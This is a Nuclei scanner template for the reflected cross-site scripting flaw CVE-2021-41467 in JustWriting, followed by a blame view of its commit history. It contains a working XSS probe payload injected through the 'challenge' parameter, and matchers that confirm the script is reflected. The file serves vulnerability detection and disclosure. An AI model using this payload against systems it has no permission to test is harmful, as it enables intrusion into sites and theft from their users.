nuclei-templates/cves/2021/CVE-2021-41467.yaml

id: CVE-2021-41467

info:
  name: JustWriting  -  Reflected Cross-Site Scripting
  author: madrobot
  severity: medium
  description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.
  reference:
    - https://github.com/hjue/JustWriting/issues/106
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41467
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-41467
    cwe-id: CWE-79
  tags: cve,cve2021,justwriting,xss

requests:
  - method: GET
    path:
      - '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "</script><script>alert(document.domain)</script>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header

# Enhanced by mp on 2022/03/07
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`id: CVE-2021-41467`

			`info:`
Enhancement: cves/2021/CVE-2021-41467.yaml by mp 2022-03-07 18:41:37 +00:00			`name: JustWriting - Reflected Cross-Site Scripting`
Update CVE-2021-41467.yaml 2021-10-06 18:25:26 +00:00			`author: madrobot`
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`severity: medium`
Enhancement: cves/2021/CVE-2021-41467.yaml by mp 2022-03-07 18:41:37 +00:00			`description: A cross-site scripting vulnerability in application/controllers/dropbox.php in JustWriting 1.0.0 and below allow remote attackers to inject arbitrary web script or HTML via the challenge parameter.`
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`reference:`
			`- https://github.com/hjue/JustWriting/issues/106`
Enhancement: cves/2021/CVE-2021-41467.yaml by mp 2022-03-07 18:41:37 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-41467`
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`cve-id: CVE-2021-41467`
			`cwe-id: CWE-79`
Update CVE-2021-41467.yaml 2021-10-06 18:25:26 +00:00			`tags: cve,cve2021,justwriting,xss`

Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`requests:`
			`- method: GET`
			`path:`
Update CVE-2021-41467.yaml 2021-10-06 18:25:26 +00:00			`- '{{BaseURL}}/sync/dropbox/download?challenge=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'`
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: status`
			`status:`
			`- 200`

			`- type: word`
			`words:`
Update CVE-2021-41467.yaml 2021-10-06 18:25:26 +00:00			`- "</script><script>alert(document.domain)</script>"`
Create CVE-2021-41467.yaml 2021-10-06 07:11:01 +00:00			`part: body`

			`- type: word`
			`words:`
			`- "text/html"`
			`part: header`
Enhancement: cves/2021/CVE-2021-41467.yaml by mp 2022-03-07 18:41:37 +00:00
			`# Enhanced by mp on 2022/03/07`